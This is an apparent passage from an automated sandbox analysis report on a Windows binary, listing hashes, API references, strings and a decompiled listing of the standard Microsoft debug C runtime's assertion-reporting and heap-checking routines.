Instruction Fuzzy Hash: 9A115E70A44244EBDB90DB90DC85BEE73B1EB94300F10C5D8E11E6A290DF716EC58F66

Uniqueness

Uniqueness Score: -1.00%

Function 00B7EFBE Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__free_base.LIBCMTD ref: 00B7F059

Strings

Q^+, xrefs: 00B7F04C
_pLastBlock == pHead, xrefs: 00B7EFBE
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 00B7EFCA

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: __free_base
String ID: Q^+$_pLastBlock == pHead$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 3554062276-3700702137
Opcode ID: f93932581a0e948092927053fc6e6223262383fdd530519c5f143f32c0b5e19c
Instruction ID: 95f993d85dca6766257e4ade1dd77946b2937a374000b48bd92b114df2819b27
Opcode Fuzzy Hash: f93932581a0e948092927053fc6e6223262383fdd530519c5f143f32c0b5e19c
Instruction Fuzzy Hash: 4201A2B8A40204EFC704DF54C992E6AB3F5AF88304F30C2D8E4196B392D672DE12DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00B7DF4F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

QQ, xrefs: 00B7DF49

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 33f2cae150e95fa3361ddba28a687a13b41f8b9f4b9873758d3276bb0d706557
Instruction ID: 6d3cc5509c636f565618a426ae45a38b991662830d205295ad0204a5815b612e
Opcode Fuzzy Hash: 33f2cae150e95fa3361ddba28a687a13b41f8b9f4b9873758d3276bb0d706557
Instruction Fuzzy Hash: B80119B1A04109EFDB14DF94D880BAA73F4EF48384F10C5A8F82A9B240E334EA51DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00B7F024 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__free_base.LIBCMTD ref: 00B7F059

Strings

Q^+, xrefs: 00B7F04C

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: __free_base
String ID: Q^+
API String ID: 3554062276-3699871978
Opcode ID: 681f9f87846d720a00e0732b62ba1038610e7fb3f9ad31e6be09751d5ef92dd6
Instruction ID: 9623e6058d3eefa1758ccc21cf01694e915a69d066cc725b08b7723b8e14a285
Opcode Fuzzy Hash: 681f9f87846d720a00e0732b62ba1038610e7fb3f9ad31e6be09751d5ef92dd6
Instruction Fuzzy Hash: 5DE09BF9D01104AFCB14DF58D98187A73F5EB88304B3085D9E51993316E536DF129761

Uniqueness

Uniqueness Score: -1.00%

Function 00B849A0 Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__encode_pointer.LIBCMTD ref: 00B849A7

Part of subcall function 00B848D0: TlsGetValue.KERNEL32(00000001), ref: 00B848E5
Part of subcall function 00B848D0: TlsGetValue.KERNEL32(00000001,00000001), ref: 00B84906
Part of subcall function 00B848D0: __crt_wait_module_handle.LIBCMTD ref: 00B8491C
Part of subcall function 00B848D0: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00B84936
Part of subcall function 00B848D0: RtlEncodePointer.NTDLL(?), ref: 00B84957

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: Value$AddressEncodePointerProc__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 568403282-0
Opcode ID: fb21a690cbc528bcb0d607fcdff0d54d80aaf3bd438bde93a8f32b3e250f0c57
Instruction ID: 9068fd2dd90ccdce2fd1112ecaf1a0f98e392a75b4730829210c9982014a752e
Opcode Fuzzy Hash: fb21a690cbc528bcb0d607fcdff0d54d80aaf3bd438bde93a8f32b3e250f0c57
Instruction Fuzzy Hash: FFA011A288828823E00030823803B023A8C83C2A38F0800A0FA0C0A2823882A82082A3

Uniqueness

Uniqueness Score: -1.00%

Function 00B7CDB0 Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___security_init_cookie.LIBCMTD ref: 00B7CDB5

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 76df5c532af78bfc8464b4ec5d3c1172889fb28391e61f316a0f905763e3947d
Instruction ID: dd355b5fb85c85821e9eb023835ae7f688db3e8323d433d081dcd604dd57e304
Opcode Fuzzy Hash: 76df5c532af78bfc8464b4ec5d3c1172889fb28391e61f316a0f905763e3947d
Instruction Fuzzy Hash: 8FA00225544A485A417133E6040794A7DCD89C0710FD580B9B52C021131C54BC0191AA

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00B88F12 Relevance: 107.3, APIs: 39, Strings: 22, Instructions: 501
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00B88F12() {
				struct _OVERLAPPED* _t166;
				WCHAR* _t170;
				signed int _t181;
				long _t184;
				intOrPtr _t190;
				signed int _t195;
				void* _t200;
				void* _t203;
				void* _t207;
				struct _OVERLAPPED* _t215;
				struct _OVERLAPPED** _t216;
				intOrPtr _t233;
				void* _t243;
				void* _t244;
				void* _t245;
				signed int _t267;
				signed int _t269;
				void* _t303;
				void* _t304;
				void* _t305;
				void* _t306;
				signed int _t307;
				void* _t309;
				void* _t311;
				void* _t313;
				void* _t315;

				if(InterlockedIncrement(0xd11d48) <= 0) {
					if( *((intOrPtr*)(_t307 + 0x18)) != 0) {
						 *(_t307 - 0x7038) =  *(L00B80C60(_t245));
						 *(L00B80C60(_t245)) = 0;
						_t282 =  *((intOrPtr*)(_t307 + 0x1c));
						_t233 = E00B93940(_t307 - 0x7030, 0x1000, 0xfeb,  *((intOrPtr*)(_t307 + 0x18)),  *((intOrPtr*)(_t307 + 0x1c)));
						_t309 = _t309 + 0x14;
						 *((intOrPtr*)(_t307 - 0x7034)) = _t233;
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E00B7DC00( *(L00B80C60(_t282)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x206, 0);
							_t309 = _t309 + 0x20;
						}
						 *(L00B80C60(_t282)) =  *(_t307 - 0x7038);
						if( *((intOrPtr*)(_t307 - 0x7034)) < 0) {
							E00B7DBD0(E00B899D0(_t243, _t282, _t303, _t305, _t307 - 0x7030, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t236, L"wcscpy_s(szUserMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x209, 0);
							_t309 = _t309 + 0x24;
						}
					}
					if( *(_t307 + 8) == 2) {
						if( *((intOrPtr*)(_t307 + 0x18)) == 0) {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed!";
						} else {
							 *((intOrPtr*)(_t307 - 0x8070)) = L"Assertion failed: ";
						}
						E00B7DBD0(E00B899D0(_t243,  *((intOrPtr*)(_t307 - 0x8070)), _t303, _t305, _t307 - 0x5030, 0x1000,  *((intOrPtr*)(_t307 - 0x8070))), _t227, L"wcscpy_s(szLineMessage, 4096, szFormat ? L\"Assertion failed: \" : L\"Assertion failed!\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x20e, 0);
						_t309 = _t309 + 0x24;
					}
					_t246 = _t307 - 0x5030;
					E00B7DBD0(E00B92F70(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, _t307 - 0x7030), _t159, L"wcscat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x210, 0);
					_t311 = _t309 + 0x24;
					if( *(_t307 + 8) == 2) {
						if(( *(0xd11d4c +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
							_t246 = _t307 - 0x5030;
							E00B7DBD0(E00B92F70(_t243, _t307 - 0x5030, _t303, _t305, _t307 - 0x5030, 0x1000, "\r"), _t225, L"wcscat_s(szLineMessage, 4096, L\"\\r\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x215, 0);
							_t311 = _t311 + 0x24;
						}
						E00B7DBD0(E00B92F70(_t243, _t246, _t303, _t305, _t307 - 0x5030, 0x1000, "\n"), _t223, L"wcscat_s(szLineMessage, 4096, L\"\\n\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x217, 0);
						_t311 = _t311 + 0x24;
					}
					if( *(_t307 + 0xc) == 0) {
						E00B7DBD0(E00B899D0(_t243, _t307 - 0x3028, _t303, _t305, _t307 - 0x3028, 0x1000, _t307 - 0x5030), _t162, L"wcscpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x225, 0);
						_t313 = _t311 + 0x24;
					} else {
						 *(_t307 - 0x703c) = 0;
						 *(_t307 - 0x7040) =  *(L00B80C60(_t246));
						 *(L00B80C60(_t246)) = 0;
						_push(_t307 - 0x5030);
						_push( *(_t307 + 0x10));
						_t279 = _t307 - 0x3028;
						_t215 = E00B89970(_t307 - 0x3028, _t307 - 0x3028, 0x1000, 0x1000, L"%s(%d) : %s",  *(_t307 + 0xc));
						_t313 = _t311 + 0x1c;
						 *(_t307 - 0x703c) = _t215;
						if( *(_t307 - 0x703c) < 0) {
							E00B7DC00( *((intOrPtr*)(L00B80C60(_t279))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x21f, 0);
							_t313 = _t313 + 0x20;
						}
						_t216 = L00B80C60(_t279);
						_t280 =  *(_t307 - 0x7040);
						 *_t216 =  *(_t307 - 0x7040);
						if( *(_t307 - 0x703c) < 0) {
							E00B7DBD0(E00B899D0(_t243, _t280, _t303, _t305, _t307 - 0x3028, 0x1000, L"_CrtDbgReport: String too long or IO Error"), _t217, L"wcscpy_s(szOutMessage, 4096, L\"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x221, 0);
							_t313 = _t313 + 0x24;
						}
					}
					 *(_t307 - 0x7044) = 0;
					_t285 = _t307 - 0x3028;
					_t166 = E00B7DC00(L00B92F40(0, _t307 - 0x1020, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22b, 0);
					_t315 = _t313 + 0x34;
					 *(_t307 - 0x7044) = _t166;
					if( *(_t307 - 0x7044) != 0) {
						E00B7DBD0(E00B80CC0(_t243, _t307 - 0x1020, _t303, _t305, _t307 - 0x1020, 0x1000, "_CrtDbgReport: String too long or Invalid characters in String"), _t209, L"strcpy_s(szOutMessage2, 4096, \"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x22d, 0);
						_t315 = _t315 + 0x24;
					}
					if( *0xd13018 != 0 ||  *0xd13014 != 0) {
						 *(_t307 - 0x704c) = 0;
						 *(_t307 - 0x7048) = 0;
						L00B81250(_t243, _t303, _t305, 0xf);
						_t315 = _t315 + 4;
						 *(_t307 - 4) = 1;
						_t285 =  *0xd13018;
						 *(_t307 - 0x704c) =  *0xd13018;
						while( *(_t307 - 0x704c) != 0) {
							 *(_t307 - 0x7050) = 0;
							_t285 =  *(_t307 - 0x704c);
							_t207 =  *(( *(_t307 - 0x704c))[6])( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7050);
							_t315 = _t315 + 0xc;
							if(_t207 == 0) {
								 *(_t307 - 0x704c) = ( *(_t307 - 0x704c))[2];
								continue;
							} else {
								 *(_t307 - 0x1024) =  *(_t307 - 0x7050);
								 *(_t307 - 0x302c) = 1;
							}
							break;
						}
						if( *(_t307 - 0x302c) == 0) {
							_t285 =  *0xd13014;
							 *(_t307 - 0x7048) =  *0xd13014;
							while( *(_t307 - 0x7048) != 0) {
								 *(_t307 - 0x7054) = 0;
								_t285 =  *(_t307 - 0x7048);
								_t203 =  *(( *(_t307 - 0x7048))[6])( *(_t307 + 8), _t307 - 0x3028, _t307 - 0x7054);
								_t315 = _t315 + 0xc;
								if(_t203 == 0) {
									 *(_t307 - 0x7048) = ( *(_t307 - 0x7048))[2];
									continue;
								} else {
									 *(_t307 - 0x1024) =  *(_t307 - 0x7054);
									 *(_t307 - 0x302c) = 1;
								}
								goto L43;
							}
						}
						L43:
						 *(_t307 - 4) = 0;
						E00B8948A();
					}
					if( *(_t307 - 0x302c) == 0) {
						if( *0xd13010 != 0) {
							 *(_t307 - 0x7058) = 0;
							_t285 = _t307 - 0x7058;
							_t200 =  *0xd13010( *(_t307 + 8), _t307 - 0x1020, _t307 - 0x7058);
							_t315 = _t315 + 0xc;
							if(_t200 != 0) {
								_t285 =  *(_t307 - 0x7058);
								 *(_t307 - 0x1024) =  *(_t307 - 0x7058);
								 *(_t307 - 0x302c) = 1;
							}
						}
						if( *(_t307 - 0x302c) == 0) {
							if(( *(0xd11d4c +  *(_t307 + 8) * 4) & 0x00000001) != 0) {
								_t285 =  *(_t307 + 8);
								if( *(0xd11d58 +  *(_t307 + 8) * 4) != 0xffffffff) {
									_t181 =  *(_t307 + 8);
									_t263 =  *(0xd11d58 + _t181 * 4);
									 *((intOrPtr*)(_t307 - 0x8074)) = GetFileType( *(0xd11d58 + _t181 * 4));
									if( *((intOrPtr*)(_t307 - 0x8074)) == 2) {
										_t184 = E00B899A0(_t263, _t307 - 0x3028);
										_t315 = _t315 + 4;
										_t285 =  *(_t307 + 8);
										if(WriteConsoleW( *(0xd11d58 +  *(_t307 + 8) * 4), _t307 - 0x3028, _t184, _t307 - 0x705c, 0) == 0) {
											if(GetLastError() == 6) {
												goto L57;
											} else {
											}
										} else {
										}
									} else {
										L57:
										 *(_t307 - 0x8064) = 0;
										_t190 = E00B7DC00(L00B92F40(_t307 - 0x8064, _t307 - 0x8060, 0x1000, _t307 - 0x3028, 0xffffffff), 0x16, 0x22, L"wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x27e, 0);
										_t315 = _t315 + 0x34;
										 *((intOrPtr*)(_t307 - 0x8068)) = _t190;
										if( *((intOrPtr*)(_t307 - 0x8068)) == 0 ||  *((intOrPtr*)(_t307 - 0x8068)) == 0x50) {
											if( *(_t307 - 0x8064) > 0) {
												 *(_t307 - 0x8064) =  *(_t307 - 0x8064) - 1;
											}
											_t267 =  *(_t307 + 8);
											_t285 =  *(0xd11d58 + _t267 * 4);
											WriteFile( *(0xd11d58 + _t267 * 4), _t307 - 0x8060,  *(_t307 - 0x8064), _t307 - 0x705c, 0);
										} else {
											_t195 = E00B899A0(_t307 - 0x705c, _t307 - 0x3028);
											_t315 = _t315 + 4;
											_t269 =  *(_t307 + 8);
											_t285 =  *(0xd11d58 + _t269 * 4);
											WriteFile( *(0xd11d58 + _t269 * 4), _t307 - 0x3028, _t195 << 1, _t307 - 0x705c, 0);
										}
									}
								}
							}
							if(( *(0xd11d4c +  *(_t307 + 8) * 4) & 0x00000002) != 0) {
								_t285 = _t307 - 0x3028;
								OutputDebugStringW(_t307 - 0x3028);
							}
							if(( *(0xd11d4c +  *(_t307 + 8) * 4) & 0x00000004) != 0) {
								 *(_t307 - 0x5030) = 0;
								if( *(_t307 + 0x10) != 0) {
									E00B7DBD0(E00B93970( *(_t307 + 0x10),  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t179, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x29c, 0);
									_t315 = _t315 + 0x28;
								}
								asm("sbb ecx, ecx");
								_t285 = _t307 - 0x5030;
								 *(_t307 - 0x1024) = E00B7D7D0(_t243, _t307 - 0x5030, _t303, _t305,  *(_t307 + 8),  *(_t307 + 0xc),  ~( *(_t307 + 0x10)) & _t307 - 0x00005030,  *((intOrPtr*)(_t307 + 0x14)), _t307 - 0x7030);
							}
						}
					}
				} else {
					_t241 = E00B7DBD0(E00B93970(_t307 - 0x5030,  *(_t307 + 0x10), _t307 - 0x5030, 0x1000, 0xa), _t240, L"_itow_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportW", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1f0, 0);
					OutputDebugStringW(L"Second Chance Assertion Failed: File ");
					if( *(_t307 + 0xc) == 0) {
						 *(_t307 - 0x806c) = L"<file unknown>";
					} else {
						_t241 =  *(_t307 + 0xc);
						 *(_t307 - 0x806c) =  *(_t307 + 0xc);
					}
					OutputDebugStringW( *(_t307 - 0x806c));
					OutputDebugStringW(L", Line ");
					_t285 = _t307 - 0x5030;
					OutputDebugStringW(_t307 - 0x5030);
					OutputDebugStringW("\n");
					E00B885E0(_t241);
					 *(_t307 - 0x1024) = 0xffffffff;
				}
				 *(_t307 - 4) = 0xfffffffe;
				E00B89717();
				_t170 =  *(_t307 - 0x1024);
				 *[fs:0x0] =  *((intOrPtr*)(_t307 - 0x10));
				_pop(_t304);
				_pop(_t306);
				_pop(_t244);
				return E00B805D0(_t170, _t244,  *(_t307 - 0x1c) ^ _t307, _t285, _t304, _t306);
			}

0x00b88f1f
0x00b88fcc
0x00b88fd9
0x00b88fe4
0x00b88fea
0x00b89003
0x00b89008
0x00b8900b
0x00b89018
0x00b8903c
0x00b89041
0x00b89041
0x00b8904f
0x00b89058
0x00b8908a
0x00b8908f
0x00b8908f
0x00b89058
0x00b89096
0x00b8909c
0x00b890aa
0x00b8909e
0x00b8909e
0x00b8909e
0x00b890e6
0x00b890eb
0x00b890eb
0x00b89110
0x00b89120
0x00b89125
0x00b8912c
0x00b8913b
0x00b8915d
0x00b8916d
0x00b89172
0x00b89172
0x00b891a5
0x00b891aa
0x00b891aa
0x00b891b1
0x00b892c1
0x00b892c6
0x00b891b7
0x00b891b7
0x00b891c8
0x00b891d3
0x00b891df
0x00b891e3
0x00b891f7
0x00b891fe
0x00b89203
0x00b89206
0x00b89213
0x00b89237
0x00b8923c
0x00b8923c
0x00b8923f
0x00b89244
0x00b8924a
0x00b89253
0x00b89285
0x00b8928a
0x00b8928a
0x00b8928d
0x00b892c9
0x00b892ef
0x00b8930d
0x00b89312
0x00b89315
0x00b89322
0x00b89354
0x00b89359
0x00b89359
0x00b89363
0x00b89372
0x00b8937c
0x00b89388
0x00b8938d
0x00b89390
0x00b89397
0x00b8939d
0x00b893b4
0x00b893bd
0x00b893d9
0x00b893e2
0x00b893e4
0x00b893e9
0x00b893ae
0x00000000
0x00b893eb
0x00b893f1
0x00b893f7
0x00b893f7
0x00000000
0x00b893e9
0x00b8940c
0x00b8940e
0x00b89414
0x00b8942b
0x00b89434
0x00b89450
0x00b89459
0x00b8945b
0x00b89460
0x00b89425
0x00000000
0x00b89462
0x00b89468
0x00b8946e
0x00b8946e
0x00000000
0x00b89460
0x00b8942b
0x00b8947c
0x00b8947c
0x00b89483
0x00b89483
0x00b8949c
0x00b894a9
0x00b894ab
0x00b894b5
0x00b894c7
0x00b894cd
0x00b894d2
0x00b894d4
0x00b894da
0x00b894e0
0x00b894e0
0x00b894d2
0x00b894f1
0x00b89504
0x00b8950a
0x00b89515
0x00b8951b
0x00b8951e
0x00b8952c
0x00b89539
0x00b8954d
0x00b89552
0x00b8955d
0x00b89570
0x00b89580
0x00000000
0x00000000
0x00b89582
0x00000000
0x00b89572
0x00b8953b
0x00b89587
0x00b89587
0x00b895d0
0x00b895d5
0x00b895d8
0x00b895e5
0x00b8962c
0x00b89637
0x00b89637
0x00b89654
0x00b89657
0x00b8965f
0x00b895f0
0x00b89600
0x00b89605
0x00b89612
0x00b89615
0x00b8961d
0x00b8961d
0x00b895e5
0x00b89539
0x00b89515
0x00b89672
0x00b89674
0x00b8967b
0x00b8967b
0x00b8968e
0x00b89692
0x00b8969d
0x00b896d0
0x00b896d5
0x00b896d5
0x00b896e8
0x00b896ea
0x00b89703
0x00b89703
0x00b8968e
0x00b894f1
0x00b88f25
0x00b88f56
0x00b88f63
0x00b88f6d
0x00b88f7a
0x00b88f6f
0x00b88f6f
0x00b88f72
0x00b88f72
0x00b88f8b
0x00b88f96
0x00b88f9c
0x00b88fa3
0x00b88fae
0x00b88fb4
0x00b88fb9
0x00b88fb9
0x00b89709
0x00b89710
0x00b89729
0x00b89732
0x00b8973a
0x00b8973b
0x00b8973c
0x00b8974a

APIs

InterlockedIncrement.KERNEL32(00D11D48), ref: 00B88F17
__invoke_watson_if_error.LIBCMTD ref: 00B88F56
OutputDebugStringW.KERNEL32(Second Chance Assertion Failed: File ), ref: 00B88F63
OutputDebugStringW.KERNEL32(00B75010), ref: 00B88F8B
OutputDebugStringW.KERNEL32(, Line ), ref: 00B88F96
OutputDebugStringW.KERNEL32(?), ref: 00B88FA3
OutputDebugStringW.KERNEL32(00B74FFC), ref: 00B88FAE
_wcscat_s.LIBCMTD ref: 00B89164

Part of subcall function 00B92F70: __invalid_parameter.LIBCMTD ref: 00B92FE2

__invoke_watson_if_error.LIBCMTD ref: 00B8916D

Part of subcall function 00B7DBD0: __invoke_watson.LIBCMTD ref: 00B7DBF1

_wcscat_s.LIBCMTD ref: 00B8919C

Part of subcall function 00B92F70: _memset.LIBCMT ref: 00B9304F
Part of subcall function 00B92F70: __invalid_parameter.LIBCMTD ref: 00B930AB

__invoke_watson_if_error.LIBCMTD ref: 00B891A5
__snwprintf_s.LIBCMTD ref: 00B891FE

Part of subcall function 00B89970: __vsnwprintf_s_l.LIBCMTD ref: 00B89992

__invoke_watson_if_oneof.LIBCMTD ref: 00B89237
_wcscpy_s.LIBCMTD ref: 00B8927C
__invoke_watson_if_error.LIBCMTD ref: 00B89285
__invoke_watson_if_oneof.LIBCMTD ref: 00B8930D
_wcscpy_s.LIBCMTD ref: 00B8934B
__invoke_watson_if_error.LIBCMTD ref: 00B89354
__itow_s.LIBCMTD ref: 00B88F4D

Part of subcall function 00B93970: _xtow_s@20.LIBCMTD ref: 00B9399B

__strftime_l.LIBCMTD ref: 00B89003
__invoke_watson_if_oneof.LIBCMTD ref: 00B8903C
_wcscpy_s.LIBCMTD ref: 00B89081
__invoke_watson_if_error.LIBCMTD ref: 00B8908A
_wcscpy_s.LIBCMTD ref: 00B890DD
__invoke_watson_if_error.LIBCMTD ref: 00B890E6
_wcscat_s.LIBCMTD ref: 00B89117
__invoke_watson_if_error.LIBCMTD ref: 00B89120

Strings

<file unknown>, xrefs: 00B88F7A
Assertion failed: , xrefs: 00B8909E
wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!"), xrefs: 00B890C5
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 00B8906B
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 00B8933A
_VCrtDbgReportW, xrefs: 00B88F31, 00B89026, 00B89066, 00B890C0, 00B890FA, 00B89149, 00B89181, 00B89221, 00B89261, 00B892DF, 00B89330, 00B8959D, 00B896AB
_CrtDbgReport: String too long or IO Error, xrefs: 00B89070, 00B8926B
Assertion failed!, xrefs: 00B890AA
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 00B88F2C, 00B89021, 00B89061, 00B890BB, 00B890F5, 00B89144, 00B8917C, 00B8921C, 00B8925C, 00B892DA, 00B8932B, 00B89598, 00B896A6
wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 00B892E4
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 00B89335
wcscat_s(szLineMessage, 4096, L"\n"), xrefs: 00B89186
, Line , xrefs: 00B88F91
(*_errno()), xrefs: 00B8902B, 00B89226
wcscat_s(szLineMessage, 4096, L"\r"), xrefs: 00B8914E
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 00B89266
wcscat_s(szLineMessage, 4096, szUserMessage), xrefs: 00B890FF
Second Chance Assertion Failed: File , xrefs: 00B88F5E
_itow_s(nLine, szLineMessage, 4096, 10), xrefs: 00B88F36, 00B896B0
wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1)), xrefs: 00B895A2
%s(%d) : %s, xrefs: 00B891E8
P, xrefs: 00B895E7

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnwprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $P$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportW$_itow_s(nLine, szLineMessage, 4096, 10)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")$wcscat_s(szLineMessage, 4096, L"\n")$wcscat_s(szLineMessage, 4096, L"\r")$wcscat_s(szLineMessage, 4096, szUserMessage)$wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))$wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))
API String ID: 2252013794-3875623755
